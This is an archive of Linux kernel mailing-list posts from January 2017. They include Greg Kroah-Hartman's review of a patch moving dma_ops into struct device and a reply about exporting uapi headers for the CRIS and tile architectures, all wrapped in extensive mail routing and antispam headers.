Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 11 07:47:51 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1cRChA-0008PR-8s
	for glki-iommu@m.gmane.org; Wed, 11 Jan 2017 07:47:40 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id A3DF7A58;
	Wed, 11 Jan 2017 06:47:44 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from localhost (unknown [78.192.101.3])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id E3891958;
	Wed, 11 Jan 2017 06:47:41 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20170111005648.14988-3-bart.vanassche-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:16551 gmane.linux.ports.mips.general:57426 gmane.linux.ports.ia64:27574 gmane.linux.ports.sparc:24332 gmane.linux.drivers.rdma:45422 gmane.linux.ports.hexagon:1095 gmane.linux.kernel.arc:1990 gmane.linux.ports.alpha:4016 gmane.linux.kernel.metag:1218 gmane.linux.ports.arm.kernel:549580 gmane.linux.ports.parisc:27166 gmane.linux.ports.ppc64.devel:137148 gmane.linux.kernel:2385213 gmane.linux.kernel.pci:58098 gmane.linux.ports.sh.devel:54982
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/16551>

On Tue, Jan 10, 2017 at 04:56:41PM -0800, Bart Van Assche wrote:
> Several RDMA drivers, e.g. drivers/infiniband/hw/qib, use the CPU to
> transfer data between memory and PCIe adapter. Because of performance
> reasons it is important that the CPU cache is not flushed when such
> drivers transfer data. Make this possible by allowing these drivers to
> override the dma_map_ops pointer. Additionally, introduce the function
> set_dma_ops() that will be used by a later patch in this series.

When you say things like "additionally", that's a huge flag that this
needs to be split up into multiple patches.  No need to add
set_dma_ops() here in this patch.

And I'd argue that it should be dma_ops_set(), and dma_ops_get(), just
to keep the namespace sane, but that's probably a different set of
patches...

thanks,

greg k-h

From - Thu Nov 08 21:39:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jesper Nilsson <jesper.nilsson@axis.com>
Newsgroups: gmane.linux.documentation,gmane.linux.ports.ppc64.devel,gmane.linux.kbuild.devel,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha
Subject: Re: [PATCH v2 0/7] uapi: export all headers under uapi directories
Date: Wed, 11 Jan 2017 13:42:02 +0100
Lines: 83
Approved: news@gmane.org
Message-ID: <20170111124202.GD7275@axis.com>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
 <3131144.4Ej3KFWRbz@wuerfel>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1484138543 9464 195.159.176.226 (11 Jan 2017 12:42:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 11 Jan 2017 12:42:23 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linuxppc-dev@lists.ozlabs.org, linux-kbuild@vger.kernel.org,
        Nicolas Dichtel <nicolas.dichtel@6wind.com>,
        linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
        linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org,
        airlied@linux.ie, linux-fbdev@vger.kernel.org,
        dri-devel@lists.freedesktop.org, linux-mtd@lists.infradead.org,
        sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-am33-list@redhat.com,
        linux-c6x-dev@linux-c6x.org, linux-rdma@vger.kernel.org,
        linux-hexagon@vger.kernel.org, linux-sh@vger.kernel.org,
        coreteam@netfilter.org, fcoe-devel@open-fcoe.org,
        xen-devel@lists.xenproject.org, linux-snps-arc@lists.infradead.org,
        linux-media@vger.kernel.org, uclinux-h8-devel@lists.sourceforge.jp,
        adi-buildroot-devel@lists.sourceforge.net,
        l
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-doc-owner@vger.kernel.org Wed Jan 11 13:42:14 2017
Return-path: <linux-doc-owner@vger.kernel.org>
Envelope-to: lnx-linux-doc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-doc-owner@vger.kernel.org>)
	id 1cRIEE-0004RM-Ao
	for lnx-linux-doc@m.gmane.org; Wed, 11 Jan 2017 13:42:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S966095AbdAKMmN (ORCPT <rfc822;lnx-linux-doc@m.gmane.org>);
        Wed, 11 Jan 2017 07:42:13 -0500
Original-Received: from bastet.se.axis.com ([195.60.68.11]:40599 "EHLO
        bastet.se.axis.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S966065AbdAKMmM (ORCPT
        <rfc822;linux-doc@vger.kernel.org>); Wed, 11 Jan 2017 07:42:12 -0500
Original-Received: from localhost (localhost [127.0.0.1])
        by bastet.se.axis.com (Postfix) with ESMTP id E4843180B0;
        Wed, 11 Jan 2017 13:42:06 +0100 (CET)
X-Virus-Scanned: Debian amavisd-new at bastet.se.axis.com
Original-Received: from bastet.se.axis.com ([IPv6:::ffff:127.0.0.1])
        by localhost (bastet.se.axis.com [::ffff:127.0.0.1]) (amavisd-new, port 10024)
        with LMTP id 9vriD579acaL; Wed, 11 Jan 2017 13:42:05 +0100 (CET)
Original-Received: from boulder03.se.axis.com (boulder03.se.axis.com [10.0.8.17])
        by bastet.se.axis.com (Postfix) with ESMTPS id C44FF18158;
        Wed, 11 Jan 2017 13:42:02 +0100 (CET)
Original-Received: from boulder03.se.axis.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 9CC231E08E;
        Wed, 11 Jan 2017 13:42:02 +0100 (CET)
Original-Received: from boulder03.se.axis.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 89F4A1E092;
        Wed, 11 Jan 2017 13:42:02 +0100 (CET)
Original-Received: from seth.se.axis.com (unknown [10.0.2.172])
        by boulder03.se.axis.com (Postfix) with ESMTP;
        Wed, 11 Jan 2017 13:42:02 +0100 (CET)
Original-Received: from lnxjespern3.se.axis.com (lnxjespern3.se.axis.com [10.88.4.8])
        by seth.se.axis.com (Postfix) with ESMTP id 76718DAE;
        Wed, 11 Jan 2017 13:42:02 +0100 (CET)
Original-Received: by lnxjespern3.se.axis.com (Postfix, from userid 363)
        id 72B55800EE; Wed, 11 Jan 2017 13:42:02 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <3131144.4Ej3KFWRbz@wuerfel>
X-TM-AS-GCONF: 00
Original-Sender: linux-doc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-doc.vger.kernel.org>
X-Mailing-List: linux-doc@vger.kernel.org
Xref: news.gmane.org gmane.linux.documentation:44185 gmane.linux.ports.ppc64.devel:137152 gmane.linux.kbuild.devel:16293 gmane.linux.ports.mips.general:57428 gmane.linux.alsa.devel:163054 gmane.linux.ports.ia64:27575 gmane.comp.video.dri.devel:176003 gmane.linux.drivers.mtd:71255 gmane.linux.ports.sparc:24333 gmane.linux.kernel.cross-arch:34732 gmane.linux.drivers.rdma:45442 gmane.linux.ports.hexagon:1096 gmane.linux.ports.sh.devel:54990 gmane.linux.scsi.open-fcoe.devel:13006 gmane.linux.kernel.arc:1991 gmane.linux.drivers.video-input-infrastructure:111838 gmane.linux.raid:55344 gmane.linux.kernel.metag:1219 gmane.linux.ports.arm.kernel:549669 gmane.linux.nfs:81376 gmane.linux.ports.parisc:27167 gmane.linux.network:449472 gmane.linux.kernel.mmc:42106 gmane.linux.kernel:2385453 gmane.linux.kernel.spi.devel:26086 gmane.comp.security.firewalls.netfilter.devel:66823 gmane.linux.ports.alpha:4017
Archived-At: <http://permalink.gmane.org/gmane.linux.documentation/44185>

On Mon, Jan 09, 2017 at 12:33:58PM +0100, Arnd Bergmann wrote:
> On Friday, January 6, 2017 10:43:52 AM CET Nicolas Dichtel wrote:
> > Here is the v2 of this series. The first 5 patches are just cleanup: some
> > exported headers were still under a non-uapi directory.
> 
> Since this is meant as a cleanup, I commented on this to point out a cleaner
> way to do the same.
> 
> > The patch 6 was spotted by code review: there is no in-tree user of this
> > functionality.
> > The last patch remove the use of header-y. Now all files under an uapi
> > directory are exported.
> 
> Very nice!
> 
> > asm is a bit special, most of architectures export asm/<arch>/include/uapi/asm
> > only, but there is two exceptions:
> >  - cris which exports arch/cris/include/uapi/arch-v[10|32];
> 
> This is interesting, though not your problem. Maybe someone who understands
> cris better can comment on this: How is the decision made about which of
> the arch/user.h headers gets used? I couldn't find that in the sources,
> but it appears to be based on kernel compile-time settings, which is
> wrong for user space header files that should be independent of the kernel
> config.

I believe it's since the CRISv10 and CRISv32 are very different beasts,
and that is selected via kernel config...

This part of the CRIS port has been transformed a couple of times from
the original layout without uapi, and there's still some legacy silliness,
where some files might have been exported but never used from userspace
except for some corner cases.

> >  - tile which exports arch/tile/include/uapi/arch.
> > Because I don't know if the output of 'make headers_install_all' can be changed,
> > I introduce subdir-y in Kbuild file. The headers_install_all target copies all
> > asm/<arch>/include/uapi/asm to usr/include/asm-<arch> but
> > arch/cris/include/uapi/arch-v[10|32] and arch/tile/include/uapi/arch are not
> > prefixed (they are put asis in usr/include/). If it's acceptable to modify the
> > output of 'make headers_install_all' to export asm headers in
> > usr/include/asm-<arch>/asm, then I could remove this new subdir-y and exports
> > everything under arch/<arch>/include/uapi/.
> 
> I don't know if anyone still uses "make headers_install_all", I suspect
> distros these days all use "make headers_install", so it probably
> doesn't matter much.
> 
> In case of cris, it should be easy enough to move all the contents of the
> uapi/arch-*/*.h headers into the respective uapi/asm/*.h headers, they
> only seem to be referenced from there.

This would seem to be a reasonable change.

> For tile, I suspect that would not work as the arch/*.h headers are
> apparently defined as interfaces for both user space and kernel.
> 
> > Note also that exported files for asm are a mix of files listed by:
> >  - include/uapi/asm-generic/Kbuild.asm;
> >  - arch/x86/include/uapi/asm/Kbuild;
> >  - arch/x86/include/asm/Kbuild.
> > This complicates a lot the processing (arch/x86/include/asm/Kbuild is also
> > used by scripts/Makefile.asm-generic).
> > 
> > This series has been tested with a 'make headers_install' on x86 and a
> > 'make headers_install_all'. I've checked the result of both commands.
> > 
> > This patch is built against linus tree. I don't know if it should be
> > made against antoher tree.
> 
> The series should probably get merged through the kbuild tree, but testing
> it on mainline is fine here.
> 
> 	Arnd

/^JN - Jesper Nilsson
-- 
               Jesper Nilsson -- jesper.nilsson@axis.com
--
To unsubscribe from this list: send the line "unsubscribe linux-doc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bart Van Assche <Bart.VanAssche-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.kernel.pci,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/9] Move dma_ops from archdata into struct device
Date: Wed, 11 Jan 2017 18:03:15 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <1484157772.2619.12.camel@sandisk.com>
References: <20170111005648.14988-1-bart.vanassche@sandisk.com>
	<20170111005648.14988-3-bart.vanassche@sandisk.com>
	<20170111064624.GA26893@kroah.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1484157884 16985 195.159.176.226 (11 Jan 2017 18:04:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 11 Jan 2017 18:04:44 +0000 (UTC)
Cc: "linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org" <linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>,
	"dalias-8zAoT0mYgF4@public.gmane.org" <dalias-8zAoT0mYgF4@public.gmane.org>,
	"linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"a-jacquiot-l0cyMroinI0@public.gmane.org" <a-jacquiot-l0cyMroinI0@public.gmane.org>,
	"catalin.marinas-5wv7dgnIgG8@public.gmane.org" <catalin.marinas-5wv7dgnIgG8@public.gmane.org>,
	"will.deacon-5wv7dgnIgG8@public.gmane.org" <will.deacon-5wv7dgnIgG8@public.gmane.org>,
	"x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org" <x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>, "mulix-BzGcCpaT2IbYtjvyW6yDsg@public.gmane.org" <mulix-BzGcCpaT2IbYtjvyW6yDsg@public.gmane.org>,
	"dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	"jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, "hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>,
	"sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org" <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>,
	"egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org" <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
	"jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org" <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>,
	"linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"jesper.nilsson-VrBV9hrLPhE@public.gmane.org" <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>,
	"linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	"linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org" <l
To: "gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org" <gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 11 19:04:30 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1cRNFp-0001bl-W9
	for glki-iommu@m.gmane.org; Wed, 11 Jan 2017 19:04:10 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 58E13910;
	Wed, 11 Jan 2017 18:04:14 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 3EC57910
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 11 Jan 2017 18:04:13 +0000 (UTC)
X-Greylist: whitelisted by SQLgrey-1.7.6
Original-Received: from NAM03-BY2-obe.outbound.protection.outlook.com
	(mail-by2nam03on0082.outbound.protection.outlook.com [104.47.42.82])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 6C2C21DA
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 11 Jan 2017 18:04:12 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
	d=sandiskcorp.onmicrosoft.com; s=selector1-sandisk-com;
	h=From:Date:Subject:Message-ID:Content-Type:MIME-Version;
	bh=YQ4bob4Xlg0DnMb4FX6twBY9QnAws/uNL03Q7dsPCA0=;
	b=iDEKlk3Ax5gZkDGafWZxjK/z7hs0VfK/WRCCRl++4sQe4VgX0WAI0aCaFsQ8SE/CeZjUhgqNTc6BM5zIPvBMh9tL6Sc+LwuHELElGUQEshOPIZ6AZIvSNDzX0lePGEh5PfKmD7peGgctOM4VHQQ+zJtTTHMnCTYUozFhgMzJInM=
Original-Received: from MWHPR02CA0024.namprd02.prod.outlook.com (10.168.209.162) by
	DM2PR02MB1420.namprd02.prod.outlook.com (10.161.143.152) with Microsoft
	SMTP Server (version=TLS1_2,
	cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id
	15.1.845.12; Wed, 11 Jan 2017 18:03:25 +0000
Original-Received: from BN1BFFO11FD044.protection.gbl (2a01:111:f400:7c10::1:101) by
	MWHPR02CA0024.outlook.office365.com (2603:10b6:300:4b::34) with
	Microsoft SMTP Server (version=TLS1_2,
	cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id 15.1.829.7 via
	Frontend Transport; Wed, 11 Jan 2017 18:03:23 +0000
Authentication-Results: spf=pass (sender IP is 74.221.232.54)
	smtp.mailfrom=sandisk.com; southpole.se; dkim=none (message not signed)
	header.d=none;southpole.se; dmarc=bestguesspass action=none
	header.from=sandisk.com;
Received-SPF: Pass (protection.outlook.com: domain of sandisk.com designates
	74.221.232.54 as permitted sender) receiver=protection.outlook.com;
	client-ip=74.221.232.54; helo=sacsmgep14.sandisk.com;
Original-Received: from sacsmgep14.sandisk.com (74.221.232.54) by
	BN1BFFO11FD044.mail.protection.outlook.com (10.58.144.107) with
	Microsoft SMTP Server (version=TLS1_2,
	cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id 15.1.803.8 via
	Frontend Transport; Wed, 11 Jan 2017 18:03:17 +0000
X-AuditID: ac1c2133-4386e98000013ebf-1a-5876ee33bfb8
Original-Received: from SACHUBIP02.sdcorp.global.sandisk.com (Unknown_Domain
	[172.28.1.254])
	(using TLS with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by  (Symantec Messaging Gateway) with SMTP id 0E.88.16063.23EE6785;
	Wed, 11 Jan 2017 18:47:15 -0800 (PST)
Original-Received: from ULS-OP-MBXIP03.sdcorp.global.sandisk.com
	([fe80::f9ec:1e1b:1439:62d8]) by SACHUBIP02.sdcorp.global.sandisk.com
	([10.181.10.104]) with mapi id 14.03.0319.002; Wed, 11 Jan 2017 10:03:15
	-0800
Thread-Topic: [PATCH 2/9] Move dma_ops from archdata into struct device
Thread-Index: AQHSbDT5zV01fj6da0Cu7NLpOAaguQ==
In-Reply-To: <20170111064624.GA26893-U8xfFu+wG4EAvxtiuMwx3w@public.gmane.org>
Accept-Language: nl-NL, en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [172.28.1.254]
Content-ID: <2D8D123C7F88F844A85318B500FF63FE-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
X-Brightmail-Tracker: H4sIAAAAAAAAA02Ta0ybZRiG835nmDWf3YTXMTPsolGMTMYSHp3OLTPuW6YLf4yNUbEbXzbk
	MNLORjQmZEChpdvqQiErBNqBnKQHywxs0Gx0W7aplJPZAcrQtTArWMpQhyvppBST/rve57nv
	577/vBwpXWA2cnlFx0RlkaJAxiRSXZtQ5JXMoFr+auSvFNCeD7NwzVHKwHyrHkH12TYGLP8+
	oqFhqJyCqQcTCILHwxQEhkI0VNvusaCp3Q0z4y4CWgI7oazZzkDt98mw9HcZBeaLO+Cf3ywI
	ukY1DEzZOmm47zaRsHwmRIC23sHCtMHLQHDyCgLTxUkKnL6bNFypNxDQ/p2NhPnyXgZCVUEa
	xi40MNDmt5IrUZUUGIynWbj34zABg43XGJhxn1iZWcpIaFiuIaHCayWgY9DKgtvoQhB+GKFh
	9JKZgMd13QjsAxMU6EzTDDi1Ywy4jL8iKL3RTkN/+CMYdHYQ0O00kjA3fJeCH36aJyGwcJ2C
	JYePhqnTLmLXDsE/0EgIFS4DI3Q1diFh7OYIKdyyZQvnOu4QwnnTJCuEFj4RutvThOb+ACE4
	O7WMYLb7acFTH6KEoMfDCr3OWUJwX65C2S98mPhGrliQpxaVW3d+mnjEclXPFDc/+YX7XA9b
	iq6u06EEDvPb8amfH7A6lMhJ+RYCV52tJWOPUYTbx3vZqIrht+F6Qz8V5Q38m/ib1upVEcn/
	gbG3yUfoEMet59/Bers6ptmLbZ7KNX067mk7iaJM8c9j+5yejLJk5aamdhjFwhoQfqzrWQ1L
	4Lfi2cULbPQm4p/F5bOrTUk+GY/7m4hYax639A+RMX4aB3wROsapeLE9wsT06fi2 
X-EOPAttributedMessage: 0
X-MS-Office365-Filtering-HT: Tenant
X-Forefront-Antispam-Report: CIP:74.221.232.54; IPV:NLI; CTRY:US; EFV:NLI;
	SFV:NSPM;
	SFS:(10009020)(6009001)(7916002)(2980300002)(438002)(24454002)(189002)(377424004)(199003)(8676002)(189998001)(2351001)(2501003)(81156014)(7736002)(1730700003)(575784001)(5660300001)(2906002)(8746002)(81166006)(86362001)(356003)(69596002)(106116001)(106466001)(92566002)(305945005)(97736004)(7416002)(7366002)(7406005)(54906002)(3846002)(4326007)(102836003)(2900100001)(6116002)(8666007)(6916009)(110136003)(5640700003)(76176999)(68736007)(50986999)(54356999)(33646002)(2270400002)(47776003)(38730400001)(103116003)(8936002)(36756003)(50466002)(39060400001)(2950100002)(229853002)(23756003)(626004)(7099028);
	DIR:OUT; SFP:1101; SCL:1; SRVR:DM2PR02MB1420;
	H:sacsmgep14.sandisk.com; FPR:; SPF:Pass;
	PTR:InfoDomainNonexistent; MX:1; A:1; LANG:en; 
X-Microsoft-Exchange-Diagnostics: 1; BN1BFFO11FD044;
	1:6dWGS9u0/orIT/3lnmuEkMHB9bYCncNXGkF1Sv3y+7T8BKdhGPnz/XVkv/+Q3DrKSS7gznOg4Bj1xSx5ig0WSPYP16HwOlWiBhF5wFD5ESTkouwLDIgywIa/pzylJPdMtxrKMB9rpJy7ouxwUmjVnU0Evmm9i7iby8R7N4kr0yOsI0IrhA1W+k+nYCKwr82UcZaZ3Em/5nGmtAec3f800HkEp/dZ+IUdPAUdEtFdmwEfdHBDrH+C/Fr+W/UM6tSWczhv/jcYNQyRfsxO80/xtYCcDjsPBxUX9kelqmPK+YHJnKt5gr3eyye6lPyYaS34RRL2eDOh1Tj0DRWbYXSCTwDwhCE7lRxaIM8gCMYVRevvaKRjQEgC729wpc+sNvAxm/koQhE/+gPmbCnzpTGolfh+ZZ9C4IUfWu0Kxi+Zc/3rcfHu5hm68waLep3o8G36AlgxJIUuTzjg+x7VZLcqKGS349zGmp+VFQbd2MBAoHzBXXcHLFWa7+tiK76+BrB4j4XGM9DYW8LEXcVBgBDv/qgtT6bUojrdvMBCRSz8VXQAdpxhNSB3R5QN8eyZnhvtC5ulo5G1tyiWwkblSdFDyUUmHsUS0yJr/TuAHrw0HWY=
X-MS-Office365-Filtering-Correlation-Id: ca87b0c9-146e-4e51-269c-08d43a4c2230
X-Microsoft-Antispam: UriScan:; BCL:0; PCL:0; RULEID:(22001)(8251501002);
	SRVR:DM2PR02MB1420; 
X-Microsoft-Exchange-Diagnostics: 1; DM2PR02MB1420;
	3:Uc/rY+Z38QhzSaiDX/qxB3VQ+4r1kLaSXhoyHtTC75xHtvjMzY1l+DdkrS/oezO/+sgah28kb22vahCbL8KL5V5Sctn7jys4Z3047GojdoFZoNAJ61Ubxka5He5Bkn9MOPmYLRcsi2oF79JD0IULwc+DA+OAkHP+lwNsN9a/Ld0KzvSN9/kePj8h8sGst5a8vmcmuKrJClh2wM5+xR/wY6vEiJy0y8wKgahUgqhnYUOWyrz9APyTm1y/k7SEU/gDR16aDPNKCn5FTmTf75SX6mQ4x4RTPsJSmRVkopXBtSk+j/p5ZQzwVY98PPNIy2ECm7frpPw8yASr3YA08RwM2+OfDFKI48xJzJNriVNzaur5oYd3uKOvF6RR4i7d1c4kF+NDASH4SH50ow10pba3gw==
X-Microsoft-Exchange-Diagnostics: 1; DM2PR02MB1420;
	25:dhSdKFEwIcvCUfu7ET+JdWdwyiyP1hO3DU5kuzJ5rn9Zq3B83FfBJdRczlA8MuJXIDCZv6k/vKQJHEWtxwPoFvONzs3LVRT30p1f8X1s3KJEYbO+ggtlnzB9G6qn9Ci32S4d7hvCoHT2MpKX6JbEubRSHJYc8Jyz/AbuM+LPGwTDR6j/R8wVFOclaKO242kPlGXYJcmYwtmCdBECEoP80fM68ORQVd1XZUPB6uC426vX6YZkmQttgdROBQi5rXjQQwMaOjs/hGT1NcWMziWJU63Lr6uTUFPmS/jrOsbxhmRbejJk1x3y7xEbZ90Oaev/zYO5eCJ90Y2w8NeyVCG3xxZCmiOiTJhiVMQWkkopX/rbIxIk+STWEgDczy4rOjHF0Vy0qDgCaEZFWbzWiyvu8Eq3jXEp6WAElMSkFwHJf0sbxxZ6bYNNZ+DY6lZp0vhvrffZo8ukRePlvntL4k016JeUjvrtPiQblreGrZBy6PvnS/xZXitthBHuq4n3dhuk99t8464qjArR3Wrg0JoWeHsqiwdXkuHEo1BCm4w2E27y5VtjsKYtBQpIjwpsB2pp/MSsumYSfopMcuAcaBocMkVk2YuQJy2eAzgW8hPG7J703w1FIQZTZmBZiPXcOPh5oZ1iw57AcBKZUBasevGv8VMQvPOFOo3zdguFy1szKFry1nmrhZn4VqtxtdkJr6nIZg+8NTyGj6UuAz0ZxxalIIUgMczvjOfp3jnO5eoSnXw2fYl3nilrTCIEkjivRWPGKKD7z/bCr308rTm43q+752OHw/pw
